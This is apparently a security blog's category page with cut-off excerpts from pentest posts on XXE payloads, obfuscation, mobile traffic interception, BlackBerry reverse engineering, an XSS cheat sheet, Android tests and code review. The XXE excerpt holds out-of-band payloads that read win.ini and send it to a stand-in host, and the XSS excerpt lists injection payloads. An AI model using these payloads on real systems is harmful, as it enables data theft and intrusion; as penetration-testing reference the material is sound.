Posts

Showing posts with the label Analysis

XXE Payoads

Vanilla, used to verify outbound xxe or blind xxe <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> ]> <r>&sp;</r> OoB extraction <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; ]> <r>&exfil;</r> External dtd: <!ENTITY % data SYSTEM "file:///c:/windows/win.ini"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://x.x.x.x:443/?%data;'>"> OoB variation of above (seems to work better against .NET) <?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://x.x.x.x:443/ev.xml"> %sp; %param1; %exfil; ]> External dtd: <!ENTITY % data SYSTEM "file:///c:/win...

Code Obfuscation

When it comes to security of an application, Source code piracy is one of the major concerns. If your source code is available to hackers, it means you are totally screwed. Hackers can then easily bypass your applied security controls, re-build application with malicious code snippets and also misuse the business logic used in the application. Obfuscation is the process of renaming the meta-data in an Assembly so that it is no longer useful to a hacker, but remains usable to the machine for executing the intended operations. It does not modify the actual instructions or mask them from observation by a hacker. Reverse engineering of your proprietary applications by unfair competition or malicious hackers may result in highly undesirable exposure of your algorithms and ideas, proprietary data formats, licensing and security mechanisms, and, most importantly, your customers' data. Getting into more details about Code Obfuscation as given below. Name Obfuscation: Na...

Intercepting Mobile Application Traffic

Image
To intercept mobile application traffic you need to perform MITM attacks. This can be easily done using proxies like Burp Suite, Fiddler, Charles, Paros, etc. I prefer to use burp suite as it is most flexible to use for penetration testing. The below given steps will help you to setup required interception environment:    Install the target application.apk on the mobile device, let’s consider Android device in this case. Now goto Menu à Setting à Wi-Fi Connect to your common Wifi being used by your Mobile device and Laptop. Find the IP address of your laptop using “ifconfig/ipconfig” command. Now in your mobile Wi-Fi, touch-n-hold the connected Wi-Fi and select “Modify Network Check the option “Show advanced options” and under proxy settings select “Manual”. Now enter ·           Proxyhostname: <your laptop IP>                ...

Blackberry Application - Reverse Engineering

Java code compiled for the BlackBerry goes through the following steps using the tools mentioned:   Code is compiled using the javac.exe compiler, and an application JAR file is generated. At this point, all Java methods, constructs, and classes are fair game. The preverify.exe tool is run against the generated JAR files and looks for code constructs that are not allowed in JME applications (for example, calls to Java native invocation or invalid Java instructions). The pre-verifier is used in both BlackBerry and JME development. Once the pre-verifier step completes, the Classes are marked as verified. RIM’s compiler, rapc.exe, converts the verified JAR file to a BlackBerry executable COD file. Rapc is an optimizing compiler that removes symbolic information and adds RIM proprietary instructions to the binary in order to reduce size and improve performance. If the application is going to be deployed to a real device or to a simulator with security enabled, the COD file i...

XSS Cheat Sheet

Here we go: use any of it (depending on situation) <script>alert(123)</script> <script>alert("hellox worldss");</script> javascript:alert("hellox worldss") <img src="javascript:alert('XSS');"> <img src=javascript:alert(&quot;XSS&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOn...

Android Client-Side Attacks and Tests

Android Client-Side Attacks and Tests CATEGORY TEST NAME Information Gathering Reverse Engineering the Application Code Testing for Common Libraries and Fingerprinting Enumeration of Application Known Controllers Information Disclosure by Logcat Application Local Storage Flaws Hidden Secrets in the Code Storing Sensitive Data on Shared Storage (exposed to all applications without any restrictions) Cryptographic Based Storage Strength Content Providers Access Permissions Content Providers SQL Injection Privacy and Metadata Leaks IPC Security User Propriety Data in Logcat Technical Valuable Data in Logcat Exposed Components and Cross Application Authorization Permissions & Digital Signature Data Sharing Issues Clipboard Separation Public Intents and Unauthenticated Data Sources Privacy Breaches Public Intents and Authorization Flaws Code Puzzling and Abusing Application State Race Conditions, Deadlocks and Concurrency Threats In Device Denial of Servi...

Source Code Review

Image
Introduction Source Code review is a process which discovers hidden vulnerabilities, design flaws, and verifies if key security controls are implemented. Code review helps developers learn the code base, as well as help them learn new technologies and techniques that grow their skill sets. In source code review we are using a combination of scanning tools and manual review to detect insecure coding practices, backdoor, injection flaws, cross site scripting errors, insecure handling of resources, weak cryptography etc. Many claims that this process is time consuming and too costly, but there is no doubt that this process is the fastest and most accurate way to find and diagnose many problems, mostly your code is the base from hackers are taking advantage. There are dozens of security problems that simply can’t be found any other way. A source code review is also the best way to detect intentional or accidental backdoors and logic bombs in applications that you acquire from thi...